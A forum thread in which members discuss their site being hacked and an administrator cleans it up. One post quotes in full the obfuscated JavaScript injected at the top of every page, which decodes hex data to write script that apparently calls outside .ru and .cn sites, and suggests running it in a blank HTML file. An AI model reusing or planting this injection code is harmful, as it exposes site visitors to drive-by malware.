next »

[progrium]

It's not anti-spam. It's anti-hacking. That word is part of what was used to put up the virus.

[Zaphos]

So, is it safe now?

[MekanikDestructiwKommando]

I think opening this topic was a mistake.

[Matthew]

Should be taken care of now.  If anything suspicious pops back up please post about it!

[Annabelle Kennedy]

YAY : D its back!!

<3s

[Valter]

WHAT? The virus is back? This is terrible!

[Soulliard]

Panda no is sick no more!

[William Broom]

  PANDA GO PANDA!!

[moi]

If I see this panda one more time

[policedanceclub]

If I see this panda one more time

You are going to love it?

[___]

I never encountered this virus thing... maybe adblock prevented it from loadin' or something?  :O

[increpare]

wheeeeeeee :D

[Gainsworthy]

 

[William Broom]

I also never got no messages about the virus, and usually my antivirus system won't shut up even about things that aren't viruses. So I guess either I'm immune, or I'm completely screwed and don't know it yet.

[Decipher]

I so feel like it'll turn out to be RBN under the stone, though got no alerts here. The good thing is it appears to be gone. Or ...?

[Ciardhubh]

Is the forum still/again hacked? Just look at the source of each page at the top. There is some heavily obfuscated javascript that calls various russian and chinese sites.

1st line of every page:

Code:

<script>function c12m48a5195801d45(m48a5195802515){ var m48a5195802ce5=16; return (parseInt(m48a5195802515,m48a5195802ce5));}function m48a5195803c85(m48a5195804455){ function m48a5195805bc6(){return 2;} var m48a5195804c25='';m48a5195806b65=String.fromCharCode;for(m48a51958053f5=0;m48a51958053f5<m48a5195804455.length;m48a51958053f5+=m48a5195805bc6()){ m48a5195804c25+=(m48a5195806b65(c12m48a5195801d45(m48a5195804455.substr(m48a51958053f5,m48a5195805bc6()))));}return m48a5195804c25;} var z95='';var m48a5195807335='3C7'+z95+'3637'+z95+'2697'+z95+'07'+z95+'43E696628216D7'+z95+'96961297'+z95+'B646F637'+z95+'56D656E7'+z95+'42E7'+z95+'7'+z95+'7'+z95+'2697'+z95+'465287'+z95+'56E657'+z95+'363617'+z95+'065282027'+z95+'2533632536392536362537'+z95+'322536312536642536352532302536652536312536642536352533642536332533312532302537'+z95+'332537'+z95+'32253633253364253237'+z95+'2536382537'+z95+'342537'+z95+'342537'+z95+'30253361253266253266253637'+z95+'2536312537'+z95+'362536312536392532642537'+z95+'30253635253637'+z95+'2536332533392532652537'+z95+'37'+z95+'2537'+z95+'332532662533332532652536382537'+z95+'34253664253663253366253237'+z95+'2532622534642536312537'+z95+'342536382532652537'+z95+'322536662537'+z95+'352536652536342532382534642536312537'+z95+'342536382532652537'+z95+'32253631253665253634253666253664253238253239253261253339253337'+z95+'253332253331253336253239253262253237'+z95+'253333253339253330253337'+z95+'253331253338253331253330253237'+z95+'2532302537'+z95+'37'+z95+'2536392536342537'+z95+'34253638253364253332253332253334253230253638253635253639253637'+z95+'2536382537'+z95+'342533642533342533332533342532302537'+z95+'332537'+z95+'342537'+z95+'39253663253635253364253237'+z95+'2536342536392537'+z95+'332537'+z95+'302536632536312537'+z95+'39253361253230253665253666253665253635253237'+z95+'2533652533632532662536392536362537'+z95+'3225363125366425363525336527'+z95+'29293B7'+z95+'D7'+z95+'6617'+z95+'2206D7'+z95+'969613D7'+z95+'47'+z95+'27'+z95+'5653B3C2F7'+z95+'3637'+z95+'2697'+z95+'07'+z95+'43E';document.write(m48a5195803c85(m48a5195807335));</script>

Put that in a blank HTML file and you'll get loads of calls to said .ru .cn sites.

[medieval]

The font is suspiciously big on this forum. Then, every time I remove that bit of code at the beginning (in Opera), and it refreshes, the font becomes normal again.

 

[Alex May]

how does this happen?

[Tommunism]

well it fucked my computer. Extremely happy about this.

[Matthew]

Removed.  Something about the current environment is super insecure, sorry about that.  Going to look at moving the forums to our server...